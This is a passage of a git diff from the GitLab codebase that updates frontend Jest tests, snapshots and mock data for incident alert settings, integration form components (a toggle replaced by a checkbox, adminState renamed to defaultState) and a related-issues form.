"title": "New: Incident",
"createdAt": "2020-06-03T15:46:08Z",
"assignees": {},
- "state": "opened"
+ "state": "opened",
+ "severity": "CRITICAL"
},
{
"iid": "14",
@@ -20,20 +21,23 @@
}
]
},
- "state": "opened"
+ "state": "opened",
+ "severity": "HIGH"
},
{
"iid": "13",
"title": "Create issue3",
"createdAt": "2020-05-19T08:53:55Z",
"assignees": {},
- "state": "closed"
+ "state": "closed",
+ "severity": "LOW"
},
{
"iid": "12",
"title": "Create issue2",
"createdAt": "2020-05-18T17:13:35Z",
"assignees": {},
- "state": "closed"
+ "state": "closed",
+ "severity": "MEDIUM"
}
]
diff --git a/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap b/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap
index f3f610e4bb7..cab2165b5db 100644
--- a/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap
+++ b/spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap
@@ -45,7 +45,7 @@ exports[`Alert integration settings form default state should match the default
</gl-link-stub>
</label>
- <gl-new-dropdown-stub
+ <gl-dropdown-stub
block="true"
category="tertiary"
data-qa-selector="incident_templates_dropdown"
@@ -55,7 +55,7 @@ exports[`Alert integration settings form default state should match the default
text="selecte_tmpl"
variant="default"
>
- <gl-new-dropdown-item-stub
+ <gl-dropdown-item-stub
avatarurl=""
data-qa-selector="incident_templates_item"
iconcolor=""
@@ -67,8 +67,8 @@ exports[`Alert integration settings form default state should match the default
No template selected
- </gl-new-dropdown-item-stub>
- </gl-new-dropdown-stub>
+ </gl-dropdown-item-stub>
+ </gl-dropdown-stub>
</gl-form-group-stub>
<gl-form-group-stub
@@ -81,6 +81,18 @@ exports[`Alert integration settings form default state should match the default
</gl-form-checkbox-stub>
</gl-form-group-stub>
+ <gl-form-group-stub
+ class="gl-pl-0 gl-mb-5"
+ >
+ <gl-form-checkbox-stub
+ checked="true"
+ >
+ <span>
+ Automatically close incident issues when the associated Prometheus alert resolves.
+ </span>
+ </gl-form-checkbox-stub>
+ </gl-form-group-stub>
+
<div
class="gl-display-flex gl-justify-content-end"
>
diff --git a/spec/frontend/incidents_settings/components/alerts_form_spec.js b/spec/frontend/incidents_settings/components/alerts_form_spec.js
index 04832f31e58..2516e8afdfa 100644
--- a/spec/frontend/incidents_settings/components/alerts_form_spec.js
+++ b/spec/frontend/incidents_settings/components/alerts_form_spec.js
@@ -16,6 +16,7 @@ describe('Alert integration settings form', () => {
createIssue: true,
sendEmail: false,
templates: [],
+ autoCloseIncident: true,
},
},
});
@@ -42,6 +43,7 @@ describe('Alert integration settings form', () => {
create_issue: wrapper.vm.createIssueEnabled,
issue_template_key: wrapper.vm.issueTemplate,
send_email: wrapper.vm.sendEmailEnabled,
+ auto_close_incident: wrapper.vm.autoCloseIncident,
}),
);
});
diff --git a/spec/frontend/integrations/edit/components/active_checkbox_spec.js b/spec/frontend/integrations/edit/components/active_checkbox_spec.js
new file mode 100644
index 00000000000..38bcb1e0aab
--- /dev/null
+++ b/spec/frontend/integrations/edit/components/active_checkbox_spec.js
@@ -0,0 +1,76 @@
+import { mount } from '@vue/test-utils';
+import { GlFormCheckbox } from '@gitlab/ui';
+import { createStore } from '~/integrations/edit/store';
+
+import ActiveCheckbox from '~/integrations/edit/components/active_checkbox.vue';
+
+describe('ActiveCheckbox', () => {
+ let wrapper;
+
+ const createComponent = (customStateProps = {}, isInheriting = false) => {
+ wrapper = mount(ActiveCheckbox, {
+ store: createStore({
+ customState: { ...customStateProps },
+ }),
+ computed: {
+ isInheriting: () => isInheriting,
+ },
+ });
+ };
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ const findGlFormCheckbox = () => wrapper.find(GlFormCheckbox);
+ const findInputInCheckbox = () => findGlFormCheckbox().find('input');
+
+ describe('template', () => {
+ describe('is inheriting adminSettings', () => {
+ it('renders GlFormCheckbox as disabled', () => {
+ createComponent({}, true);
+
+ expect(findGlFormCheckbox().exists()).toBe(true);
+ expect(findInputInCheckbox().attributes('disabled')).toBe('disabled');
+ });
+ });
+
+ describe('initialActivated is false', () => {
+ it('renders GlFormCheckbox as unchecked', () => {
+ createComponent({
+ initialActivated: false,
+ });
+
+ expect(findGlFormCheckbox().exists()).toBe(true);
+ expect(findGlFormCheckbox().vm.$attrs.checked).toBe(false);
+ expect(findInputInCheckbox().attributes('disabled')).toBeUndefined();
+ });
+ });
+
+ describe('initialActivated is true', () => {
+ beforeEach(() => {
+ createComponent({
+ initialActivated: true,
+ });
+ });
+
+ it('renders GlFormCheckbox as checked', () => {
+ expect(findGlFormCheckbox().exists()).toBe(true);
+ expect(findGlFormCheckbox().vm.$attrs.checked).toBe(true);
+ });
+
+ describe('on checkbox click', () => {
+ it('switches the form value', async () => {
+ findInputInCheckbox().trigger('click');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findGlFormCheckbox().vm.$attrs.checked).toBe(false);
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/integrations/edit/components/active_toggle_spec.js b/spec/frontend/integrations/edit/components/active_toggle_spec.js
deleted file mode 100644
index 228d8f5fc30..00000000000
--- a/spec/frontend/integrations/edit/components/active_toggle_spec.js
+++ /dev/null
@@ -1,81 +0,0 @@
-import { mount } from '@vue/test-utils';
-import { GlToggle } from '@gitlab/ui';
-
-import ActiveToggle from '~/integrations/edit/components/active_toggle.vue';
-
-const GL_TOGGLE_ACTIVE_CLASS = 'is-checked';
-const GL_TOGGLE_DISABLED_CLASS = 'is-disabled';
-
-describe('ActiveToggle', () => {
- let wrapper;
-
- const defaultProps = {
- initialActivated: true,
- };
-
- const createComponent = (props = {}, isInheriting = false) => {
- wrapper = mount(ActiveToggle, {
- propsData: { ...defaultProps, ...props },
- computed: {
- isInheriting: () => isInheriting,
- },
- });
- };
-
- afterEach(() => {
- if (wrapper) {
- wrapper.destroy();
- wrapper = null;
- }
- });
-
- const findGlToggle = () => wrapper.find(GlToggle);
- const findButtonInToggle = () => findGlToggle().find('button');
- const findInputInToggle = () => findGlToggle().find('input');
-
- describe('template', () => {
- describe('is inheriting adminSettings', () => {
- it('renders GlToggle as disabled', () => {
- createComponent({}, true);
-
- expect(findGlToggle().exists()).toBe(true);
- expect(findButtonInToggle().classes()).toContain(GL_TOGGLE_DISABLED_CLASS);
- });
- });
-
- describe('initialActivated is false', () => {
- it('renders GlToggle as inactive', () => {
- createComponent({
- initialActivated: false,
- });
-
- expect(findGlToggle().exists()).toBe(true);
- expect(findButtonInToggle().classes()).not.toContain(GL_TOGGLE_ACTIVE_CLASS);
- expect(findInputInToggle().attributes('value')).toBe('false');
- });
- });
-
- describe('initialActivated is true', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('renders GlToggle as active', () => {
- expect(findGlToggle().exists()).toBe(true);
- expect(findButtonInToggle().classes()).toContain(GL_TOGGLE_ACTIVE_CLASS);
- expect(findInputInToggle().attributes('value')).toBe('true');
- });
-
- describe('on toggle click', () => {
- it('switches the form value', () => {
- findButtonInToggle().trigger('click');
-
- wrapper.vm.$nextTick(() => {
- expect(findButtonInToggle().classes()).not.toContain(GL_TOGGLE_ACTIVE_CLASS);
- expect(findInputInToggle().attributes('value')).toBe('false');
- });
- });
- });
- });
- });
-});
diff --git a/spec/frontend/integrations/edit/components/integration_form_spec.js b/spec/frontend/integrations/edit/components/integration_form_spec.js
index f8e2eb5e7f4..eeb5d21d62c 100644
--- a/spec/frontend/integrations/edit/components/integration_form_spec.js
+++ b/spec/frontend/integrations/edit/components/integration_form_spec.js
@@ -3,7 +3,7 @@ import { mockIntegrationProps } from 'jest/integrations/edit/mock_data';
import { createStore } from '~/integrations/edit/store';
import IntegrationForm from '~/integrations/edit/components/integration_form.vue';
import OverrideDropdown from '~/integrations/edit/components/override_dropdown.vue';
-import ActiveToggle from '~/integrations/edit/components/active_toggle.vue';
+import ActiveCheckbox from '~/integrations/edit/components/active_checkbox.vue';
import JiraTriggerFields from '~/integrations/edit/components/jira_trigger_fields.vue';
import JiraIssuesFields from '~/integrations/edit/components/jira_issues_fields.vue';
import TriggerFields from '~/integrations/edit/components/trigger_fields.vue';
@@ -21,7 +21,7 @@ describe('IntegrationForm', () => {
}),
stubs: {
OverrideDropdown,
- ActiveToggle,
+ ActiveCheckbox,
JiraTriggerFields,
TriggerFields,
},
@@ -39,27 +39,27 @@ describe('IntegrationForm', () => {
});
const findOverrideDropdown = () => wrapper.find(OverrideDropdown);
- const findActiveToggle = () => wrapper.find(ActiveToggle);
+ const findActiveCheckbox = () => wrapper.find(ActiveCheckbox);
const findJiraTriggerFields = () => wrapper.find(JiraTriggerFields);
const findJiraIssuesFields = () => wrapper.find(JiraIssuesFields);
const findTriggerFields = () => wrapper.find(TriggerFields);
describe('template', () => {
describe('showActive is true', () => {
- it('renders ActiveToggle', () => {
+ it('renders ActiveCheckbox', () => {
createComponent();
- expect(findActiveToggle().exists()).toBe(true);
+ expect(findActiveCheckbox().exists()).toBe(true);
});
});
describe('showActive is false', () => {
- it('does not render ActiveToggle', () => {
+ it('does not render ActiveCheckbox', () => {
createComponent({
showActive: false,
});
- expect(findActiveToggle().exists()).toBe(false);
+ expect(findActiveCheckbox().exists()).toBe(false);
});
});
@@ -137,13 +137,13 @@ describe('IntegrationForm', () => {
});
});
- describe('adminState state is null', () => {
+ describe('defaultState state is null', () => {
it('does not render OverrideDropdown', () => {
createComponent(
{},
{},
{
- adminState: null,
+ defaultState: null,
},
);
@@ -151,13 +151,13 @@ describe('IntegrationForm', () => {
});
});
- describe('adminState state is an object', () => {
+ describe('defaultState state is an object', () => {
it('renders OverrideDropdown', () => {
createComponent(
{},
{},
{
- adminState: {
+ defaultState: {
...mockIntegrationProps,
},
},
diff --git a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
index f58825f6297..a727bb9c734 100644
--- a/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
+++ b/spec/frontend/integrations/edit/components/jira_issues_fields_spec.js
@@ -57,7 +57,7 @@ describe('JiraIssuesFields', () => {
// As per https://vuejs.org/v2/guide/forms.html#Checkbox-1,
// browsers don't include unchecked boxes in form submissions.
it('includes issues_enabled as false even if unchecked', () => {
- expect(wrapper.contains('input[name="service[issues_enabled]"]')).toBe(true);
+ expect(wrapper.find('input[name="service[issues_enabled]"]').exists()).toBe(true);
});
it('disables project_key input', () => {
@@ -90,7 +90,23 @@ describe('JiraIssuesFields', () => {
it('contains link to editProjectPath', () => {
createComponent();
- expect(wrapper.contains(`a[href="${defaultProps.editProjectPath}"]`)).toBe(true);
+ expect(wrapper.find(`a[href="${defaultProps.editProjectPath}"]`).exists()).toBe(true);
+ });
+
+ describe('GitLab issues warning', () => {
+ const expectedText = 'Consider disabling GitLab issues';
+
+ it('contains warning when GitLab issues is enabled', () => {
+ createComponent();
+
+ expect(wrapper.text()).toContain(expectedText);
+ });
+
+ it('does not contain warning when GitLab issues is disabled', () => {
+ createComponent({ gitlabIssuesEnabled: false });
+
+ expect(wrapper.text()).not.toContain(expectedText);
+ });
});
});
});
diff --git a/spec/frontend/integrations/edit/components/override_dropdown_spec.js b/spec/frontend/integrations/edit/components/override_dropdown_spec.js
new file mode 100644
index 00000000000..f312c456d5f
--- /dev/null
+++ b/spec/frontend/integrations/edit/components/override_dropdown_spec.js
@@ -0,0 +1,106 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlDropdown, GlLink } from '@gitlab/ui';
+import { createStore } from '~/integrations/edit/store';
+
+import { integrationLevels, overrideDropdownDescriptions } from '~/integrations/edit/constants';
+import OverrideDropdown from '~/integrations/edit/components/override_dropdown.vue';
+
+describe('OverrideDropdown', () => {
+ let wrapper;
+
+ const defaultProps = {
+ inheritFromId: 1,
+ override: true,
+ };
+
+ const defaultDefaultStateProps = {
+ integrationLevel: 'group',
+ };
+
+ const createComponent = (props = {}, defaultStateProps = {}) => {
+ wrapper = shallowMount(OverrideDropdown, {
+ propsData: { ...defaultProps, ...props },
+ store: createStore({
+ defaultState: { ...defaultDefaultStateProps, ...defaultStateProps },
+ }),
+ });
+ };
+
+ afterEach(() => {
+ if (wrapper) {
+ wrapper.destroy();
+ wrapper = null;
+ }
+ });
+
+ const findGlLink = () => wrapper.find(GlLink);
+ const findGlDropdown = () => wrapper.find(GlDropdown);
+
+ describe('template', () => {
+ describe('override prop is true', () => {
+ it('renders GlToggle as disabled', () => {
+ createComponent();
+
+ expect(findGlDropdown().props('text')).toBe('Use custom settings');
+ });
+ });
+
+ describe('override prop is false', () => {
+ it('renders GlToggle as disabled', () => {
+ createComponent({ override: false });
+
+ expect(findGlDropdown().props('text')).toBe('Use default settings');
+ });
+ });
+
+ describe('integrationLevel is "project"', () => {
+ it('renders copy mentioning instance (as default fallback)', () => {
+ createComponent(
+ {},
+ {
+ integrationLevel: 'project',
+ },
+ );
+
+ expect(wrapper.text()).toContain(overrideDropdownDescriptions[integrationLevels.INSTANCE]);
+ });
+ });
+
+ describe('integrationLevel is "group"', () => {
+ it('renders copy mentioning group', () => {
+ createComponent(
+ {},
+ {
+ integrationLevel: 'group',
+ },
+ );
+
+ expect(wrapper.text()).toContain(overrideDropdownDescriptions[integrationLevels.GROUP]);
+ });
+ });
+
+ describe('integrationLevel is "instance"', () => {
+ it('renders copy mentioning instance', () => {
+ createComponent(
+ {},
+ {
+ integrationLevel: 'instance',
+ },
+ );
+
+ expect(wrapper.text()).toContain(overrideDropdownDescriptions[integrationLevels.INSTANCE]);
+ });
+ });
+
+ describe('learnMorePath is present', () => {
+ it('renders GlLink with correct link', () => {
+ createComponent({
+ learnMorePath: '/docs',
+ });
+
+ expect(findGlLink().text()).toBe('Learn more');
+ expect(findGlLink().attributes('href')).toBe('/docs');
+ });
+ });
+ });
+});
diff --git a/spec/frontend/integrations/edit/mock_data.js b/spec/frontend/integrations/edit/mock_data.js
index da2758ec15c..821972b7698 100644
--- a/spec/frontend/integrations/edit/mock_data.js
+++ b/spec/frontend/integrations/edit/mock_data.js
@@ -1,9 +1,6 @@
-// eslint-disable-next-line import/prefer-default-export
export const mockIntegrationProps = {
id: 25,
- activeToggleProps: {
- initialActivated: true,
- },
+ initialActivated: true,
showActive: true,
triggerFieldsProps: {
initialTriggerCommit: false,
diff --git a/spec/frontend/integrations/edit/store/getters_spec.js b/spec/frontend/integrations/edit/store/getters_spec.js
index 700d36edaad..3353e0c84cc 100644
--- a/spec/frontend/integrations/edit/store/getters_spec.js
+++ b/spec/frontend/integrations/edit/store/getters_spec.js
@@ -5,22 +5,22 @@ import { mockIntegrationProps } from '../mock_data';
describe('Integration form store getters', () => {
let state;
const customState = { ...mockIntegrationProps, type: 'CustomState' };
- const adminState = { ...mockIntegrationProps, type: 'AdminState' };
+ const defaultState = { ...mockIntegrationProps, type: 'DefaultState' };
beforeEach(() => {
state = createState({ customState });
});
describe('isInheriting', () => {
- describe('when adminState is null', () => {
+ describe('when defaultState is null', () => {
it('returns false', () => {
expect(isInheriting(state)).toBe(false);
});
});
- describe('when adminState is an object', () => {
+ describe('when defaultState is an object', () => {
beforeEach(() => {
- state.adminState = adminState;
+ state.defaultState = defaultState;
});
describe('when override is false', () => {
@@ -47,11 +47,11 @@ describe('Integration form store getters', () => {
describe('propsSource', () => {
beforeEach(() => {
- state.adminState = adminState;
+ state.defaultState = defaultState;
});
- it('equals adminState if inheriting', () => {
- expect(propsSource(state, { isInheriting: true })).toEqual(adminState);
+ it('equals defaultState if inheriting', () => {
+ expect(propsSource(state, { isInheriting: true })).toEqual(defaultState);
});
it('equals customState if not inheriting', () => {
diff --git a/spec/frontend/integrations/edit/store/state_spec.js b/spec/frontend/integrations/edit/store/state_spec.js
index a8b431aa310..fc193850a94 100644
--- a/spec/frontend/integrations/edit/store/state_spec.js
+++ b/spec/frontend/integrations/edit/store/state_spec.js
@@ -3,8 +3,10 @@ import createState from '~/integrations/edit/store/state';
describe('Integration form state factory', () => {
it('states default to null', () => {
expect(createState()).toEqual({
- adminState: null,
+ defaultState: null,
customState: {},
+ isSaving: false,
+ isTesting: false,
override: false,
});
});
@@ -17,9 +19,9 @@ describe('Integration form state factory', () => {
[null, { inheritFromId: null }, false],
[null, { inheritFromId: 25 }, false],
])(
- 'for adminState: %p, customState: %p: override = `%p`',
- (adminState, customState, expected) => {
- expect(createState({ adminState, customState }).override).toEqual(expected);
+ 'for defaultState: %p, customState: %p: override = `%p`',
+ (defaultState, customState, expected) => {
+ expect(createState({ defaultState, customState }).override).toEqual(expected);
},
);
});
diff --git a/spec/frontend/integrations/integration_settings_form_spec.js b/spec/frontend/integrations/integration_settings_form_spec.js
index c117a37ff2f..bba851ad796 100644
--- a/spec/frontend/integrations/integration_settings_form_spec.js
+++ b/spec/frontend/integrations/integration_settings_form_spec.js
@@ -1,7 +1,9 @@
-import $ from 'jquery';
import MockAdaptor from 'axios-mock-adapter';
import axios from '~/lib/utils/axios_utils';
import IntegrationSettingsForm from '~/integrations/integration_settings_form';
+import toast from '~/vue_shared/plugins/global_toast';
+
+jest.mock('~/vue_shared/plugins/global_toast');
describe('IntegrationSettingsForm', () => {
const FIXTURE = 'services/edit_service.html';
@@ -11,7 +13,7 @@ describe('IntegrationSettingsForm', () => {
loadFixtures(FIXTURE);
});
- describe('contructor', () => {
+ describe('constructor', () => {
let integrationSettingsForm;
beforeEach(() => {
@@ -24,16 +26,10 @@ describe('IntegrationSettingsForm', () => {
expect(integrationSettingsForm.$form).toBeDefined();
expect(integrationSettingsForm.$form.prop('nodeName')).toEqual('FORM');
expect(integrationSettingsForm.formActive).toBeDefined();
-
- // Form Child Elements
- expect(integrationSettingsForm.$submitBtn).toBeDefined();
- expect(integrationSettingsForm.$submitBtnLoader).toBeDefined();
- expect(integrationSettingsForm.$submitBtnLabel).toBeDefined();
});
it('should initialize form metadata on class object', () => {
expect(integrationSettingsForm.testEndPoint).toBeDefined();
- expect(integrationSettingsForm.canTestService).toBeDefined();
});
});
@@ -59,69 +55,6 @@ describe('IntegrationSettingsForm', () => {
});
});
- describe('toggleSubmitBtnLabel', () => {
- let integrationSettingsForm;
-
- beforeEach(() => {
- integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
- });
-
- it('should set Save button label to "Test settings and save changes" when serviceActive & canTestService are `true`', () => {
- integrationSettingsForm.canTestService = true;
- integrationSettingsForm.formActive = true;
-
- integrationSettingsForm.toggleSubmitBtnLabel();
-
- expect(integrationSettingsForm.$submitBtnLabel.text()).toEqual(
- 'Test settings and save changes',
- );
- });
-
- it('should set Save button label to "Save changes" when either serviceActive or canTestService (or both) is `false`', () => {
- integrationSettingsForm.canTestService = false;
- integrationSettingsForm.formActive = false;
-
- integrationSettingsForm.toggleSubmitBtnLabel();
-
- expect(integrationSettingsForm.$submitBtnLabel.text()).toEqual('Save changes');
-
- integrationSettingsForm.formActive = true;
-
- integrationSettingsForm.toggleSubmitBtnLabel();
-
- expect(integrationSettingsForm.$submitBtnLabel.text()).toEqual('Save changes');
-
- integrationSettingsForm.canTestService = true;
- integrationSettingsForm.formActive = false;
-
- integrationSettingsForm.toggleSubmitBtnLabel();
-
- expect(integrationSettingsForm.$submitBtnLabel.text()).toEqual('Save changes');
- });
- });
-
- describe('toggleSubmitBtnState', () => {
- let integrationSettingsForm;
-
- beforeEach(() => {
- integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
- });
-
- it('should disable Save button and show loader animation when called with `true`', () => {
- integrationSettingsForm.toggleSubmitBtnState(true);
-
- expect(integrationSettingsForm.$submitBtn.is(':disabled')).toBeTruthy();
- expect(integrationSettingsForm.$submitBtnLoader.hasClass('hidden')).toBeFalsy();
- });
-
- it('should enable Save button and hide loader animation when called with `false`', () => {
- integrationSettingsForm.toggleSubmitBtnState(false);
-
- expect(integrationSettingsForm.$submitBtn.is(':disabled')).toBeFalsy();
- expect(integrationSettingsForm.$submitBtnLoader.hasClass('hidden')).toBeTruthy();
- });
- });
-
describe('testSettings', () => {
let integrationSettingsForm;
let formData;
@@ -133,6 +66,8 @@ describe('IntegrationSettingsForm', () => {
jest.spyOn(axios, 'put');
integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
+ integrationSettingsForm.init();
+
// eslint-disable-next-line no-jquery/no-serialize
formData = integrationSettingsForm.$form.serialize();
});
@@ -141,128 +76,60 @@ describe('IntegrationSettingsForm', () => {
mock.restore();
});
- it('should make an ajax request with provided `formData`', () => {
- return integrationSettingsForm.testSettings(formData).then(() => {
- expect(axios.put).toHaveBeenCalledWith(integrationSettingsForm.testEndPoint, formData);
- });
- });
-
- it('should show error Flash with `Save anyway` action if ajax request responds with error in test', () => {
- const errorMessage = 'Test failed.';
- mock.onPut(integrationSettingsForm.testEndPoint).reply(200, {
- error: true,
- message: errorMessage,
- service_response: 'some error',
- test_failed: true,
- });
+ it('should make an ajax request with provided `formData`', async () => {
+ await integrationSettingsForm.testSettings(formData);
- return integrationSettingsForm.testSettings(formData).then(() => {
- const $flashContainer = $('.flash-container');
-
- expect(
- $flashContainer
- .find('.flash-text')
- .text()
- .trim(),
- ).toEqual('Test failed. some error');
-
- expect($flashContainer.find('.flash-action')).toBeDefined();
- expect(
- $flashContainer
- .find('.flash-action')
- .text()
- .trim(),
- ).toEqual('Save anyway');
- });
+ expect(axios.put).toHaveBeenCalledWith(integrationSettingsForm.testEndPoint, formData);
});
- it('should not show error Flash with `Save anyway` action if ajax request responds with error in validation', () => {
- const errorMessage = 'Validations failed.';
- mock.onPut(integrationSettingsForm.testEndPoint).reply(200, {
- error: true,
- message: errorMessage,
- service_response: 'some error',
- test_failed: false,
- });
-
- return integrationSettingsForm.testSettings(formData).then(() => {
- const $flashContainer = $('.flash-container');
-
- expect(
- $flashContainer
- .find('.flash-text')
- .text()
- .trim(),
- ).toEqual('Validations failed. some error');
-
- expect($flashContainer.find('.flash-action')).toBeDefined();
- expect(
- $flashContainer
- .find('.flash-action')
- .text()
- .trim(),
- ).toEqual('');
- });
- });
-
- it('should submit form if ajax request responds without any error in test', () => {
+ it('should show success message if test is successful', async () => {
jest.spyOn(integrationSettingsForm.$form, 'submit').mockImplementation(() => {});
mock.onPut(integrationSettingsForm.testEndPoint).reply(200, {
error: false,
});
- return integrationSettingsForm.testSettings(formData).then(() => {
- expect(integrationSettingsForm.$form.submit).toHaveBeenCalled();
- });
- });
+ await integrationSettingsForm.testSettings(formData);
- it('should submit form when clicked on `Save anyway` action of error Flash', () => {
- jest.spyOn(integrationSettingsForm.$form, 'submit').mockImplementation(() => {});
+ expect(toast).toHaveBeenCalledWith('Connection successful.');
+ });
+ it('should show error message if ajax request responds with test error', async () => {
const errorMessage = 'Test failed.';
+ const serviceResponse = 'some error';
+
mock.onPut(integrationSettingsForm.testEndPoint).reply(200, {
error: true,
message: errorMessage,
- test_failed: true,
+ service_response: serviceResponse,
+ test_failed: false,
});
- return integrationSettingsForm
- .testSettings(formData)
- .then(() => {
- const $flashAction = $('.flash-container .flash-action');
+ await integrationSettingsForm.testSettings(formData);
- expect($flashAction).toBeDefined();
-
- $flashAction.get(0).click();
- })
- .then(() => {
- expect(integrationSettingsForm.$form.submit).toHaveBeenCalled();
- });
+ expect(toast).toHaveBeenCalledWith(`${errorMessage} ${serviceResponse}`);
});
- it('should show error Flash if ajax request failed', () => {
+ it('should show error message if ajax request failed', async () => {
const errorMessage = 'Something went wrong on our end.';
mock.onPut(integrationSettingsForm.testEndPoint).networkError();
- return integrationSettingsForm.testSettings(formData).then(() => {
- expect(
- $('.flash-container .flash-text')
- .text()
- .trim(),
- ).toEqual(errorMessage);
- });
+ await integrationSettingsForm.testSettings(formData);
+
+ expect(toast).toHaveBeenCalledWith(errorMessage);
});
- it('should always call `toggleSubmitBtnState` with `false` once request is completed', () => {
+ it('should always dispatch `setIsTesting` with `false` once request is completed', async () => {
+ const dispatchSpy = jest.fn();
+
mock.onPut(integrationSettingsForm.testEndPoint).networkError();
- jest.spyOn(integrationSettingsForm, 'toggleSubmitBtnState').mockImplementation(() => {});
+ integrationSettingsForm.vue.$store = { dispatch: dispatchSpy };
- return integrationSettingsForm.testSettings(formData).then(() => {
- expect(integrationSettingsForm.toggleSubmitBtnState).toHaveBeenCalledWith(false);
- });
+ await integrationSettingsForm.testSettings(formData);
+
+ expect(dispatchSpy).toHaveBeenCalledWith('setIsTesting', false);
});
});
});
diff --git a/spec/frontend/issuable/related_issues/components/add_issuable_form_spec.js b/spec/frontend/issuable/related_issues/components/add_issuable_form_spec.js
new file mode 100644
index 00000000000..bfbe4ec8e70
--- /dev/null
+++ b/spec/frontend/issuable/related_issues/components/add_issuable_form_spec.js
@@ -0,0 +1,289 @@
+import { mount, shallowMount } from '@vue/test-utils';
+import { issuableTypesMap, linkedIssueTypesMap, PathIdSeparator } from '~/related_issues/constants';
+import AddIssuableForm from '~/related_issues/components/add_issuable_form.vue';
+
+const issuable1 = {
+ id: 200,
+ reference: 'foo/bar#123',
+ displayReference: '#123',
+ title: 'some title',
+ path: '/foo/bar/issues/123',
+ state: 'opened',
+};
+
+const issuable2 = {
+ id: 201,
+ reference: 'foo/bar#124',
+ displayReference: '#124',
+ title: 'some other thing',
+ path: '/foo/bar/issues/124',
+ state: 'opened',
+};
+
+const pathIdSeparator = PathIdSeparator.Issue;
+
+const findFormInput = wrapper => wrapper.find('.js-add-issuable-form-input').element;
+
+const findRadioInput = (inputs, value) => inputs.filter(input => input.element.value === value)[0];
+
+const findRadioInputs = wrapper => wrapper.findAll('[name="linked-issue-type-radio"]');
+
+const constructWrapper = props => {
+ return shallowMount(AddIssuableForm, {
+ propsData: {
+ inputValue: '',
+ pendingReferences: [],
+ pathIdSeparator,
+ ...props,
+ },
+ });
+};
+
+describe('AddIssuableForm', () => {
+ let wrapper;
+
+ afterEach(() => {
+ // Jest doesn't blur an item even if it is destroyed,
+ // so blur the input manually after each test
+ const input = findFormInput(wrapper);
+ if (input) input.blur();
+
+ wrapper.destroy();
+ });
+
+ describe('with data', () => {
+ describe('without references', () => {
+ describe('without any input text', () => {
+ beforeEach(() => {
+ wrapper = shallowMount(AddIssuableForm, {
+ propsData: {
+ inputValue: '',
+ pendingReferences: [],
+ pathIdSeparator,
+ },
+ });
+ });
+
+ it('should have disabled submit button', () => {
+ expect(wrapper.vm.$refs.addButton.disabled).toBe(true);
+ expect(wrapper.vm.$refs.loadingIcon).toBeUndefined();
+ });
+ });
+
+ describe('with input text', () => {
+ beforeEach(() => {
+ wrapper = shallowMount(AddIssuableForm, {
+ propsData: {
+ inputValue: 'foo',
+ pendingReferences: [],
+ pathIdSeparator,
+ },
+ });
+ });
+
+ it('should not have disabled submit button', () => {
+ expect(wrapper.vm.$refs.addButton.disabled).toBe(false);
+ });
+ });
+ });
+
+ describe('with references', () => {
+ const inputValue = 'foo #123';
+
+ beforeEach(() => {
+ wrapper = mount(AddIssuableForm, {
+ propsData: {
+ inputValue,
+ pendingReferences: [issuable1.reference, issuable2.reference],
+ pathIdSeparator,
+ },
+ });
+ });
+
+ it('should put input value in place', () => {
+ expect(findFormInput(wrapper).value).toEqual(inputValue);
+ });
+
+ it('should render pending issuables items', () => {
+ expect(wrapper.findAll('.js-add-issuable-form-token-list-item').length).toEqual(2);
+ });
+
+ it('should not have disabled submit button', () => {
+ expect(wrapper.vm.$refs.addButton.disabled).toBe(false);
+ });
+ });
+
+ describe('when issuable type is "issue"', () => {
+ beforeEach(() => {
+ wrapper = mount(AddIssuableForm, {
+ propsData: {
+ inputValue: '',
+ issuableType: issuableTypesMap.ISSUE,
+ pathIdSeparator,
+ pendingReferences: [],
+ },
+ });
+ });
+
+ it('does not show radio inputs', () => {
+ expect(findRadioInputs(wrapper).length).toBe(0);
+ });
+ });
+
+ describe('when issuable type is "epic"', () => {
+ beforeEach(() => {
+ wrapper = shallowMount(AddIssuableForm, {
+ propsData: {
+ inputValue: '',
+ issuableType: issuableTypesMap.EPIC,
+ pathIdSeparator,
+ pendingReferences: [],
+ },
+ });
+ });
+
+ it('does not show radio inputs', () => {
+ expect(findRadioInputs(wrapper).length).toBe(0);
+ });
+ });
+
+ describe('when it is a Linked Issues form', () => {
+ beforeEach(() => {
+ wrapper = mount(AddIssuableForm, {
+ propsData: {
+ inputValue: '',
+ showCategorizedIssues: true,
+ issuableType: issuableTypesMap.ISSUE,
+ pathIdSeparator,
+ pendingReferences: [],
+ },
+ });
+ });
+
+ it('shows radio inputs to allow categorisation of blocking issues', () => {
+ expect(findRadioInputs(wrapper).length).toBeGreaterThan(0);
+ });
+
+ describe('form radio buttons', () => {
+ let radioInputs;
+
+ beforeEach(() => {
+ radioInputs = findRadioInputs(wrapper);
+ });
+
+ it('shows "relates to" option', () => {
+ expect(findRadioInput(radioInputs, linkedIssueTypesMap.RELATES_TO)).not.toBeNull();
+ });
+
+ it('shows "blocks" option', () => {
+ expect(findRadioInput(radioInputs, linkedIssueTypesMap.BLOCKS)).not.toBeNull();
+ });
+
+ it('shows "is blocked by" option', () => {
+ expect(findRadioInput(radioInputs, linkedIssueTypesMap.IS_BLOCKED_BY)).not.toBeNull();
+ });
+
+ it('shows 3 options in total', () => {
+ expect(radioInputs.length).toBe(3);
+ });
+ });
+
+ describe('when the form is submitted', () => {
+ it('emits an event with a "relates_to" link type when the "relates to" radio input selected', done => {
+ jest.spyOn(wrapper.vm, '$emit').mockImplementation(() => {});
+
+ wrapper.vm.linkedIssueType = linkedIssueTypesMap.RELATES_TO;
+ wrapper.vm.onFormSubmit();
+
+ wrapper.vm.$nextTick(() => {
+ expect(wrapper.vm.$emit).toHaveBeenCalledWith('addIssuableFormSubmit', {
+ pendingReferences: '',
